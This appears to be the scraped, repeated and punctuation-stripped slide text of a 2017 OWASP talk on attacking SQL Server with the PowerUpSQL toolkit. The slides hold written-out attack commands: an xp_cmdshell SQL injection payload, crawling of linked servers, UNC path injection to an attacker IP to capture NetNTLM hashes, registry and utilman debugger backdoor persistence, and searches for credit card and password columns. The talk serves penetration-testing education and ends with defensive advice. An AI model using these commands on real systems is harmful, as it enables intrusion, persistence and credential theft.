Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 55: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 56: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

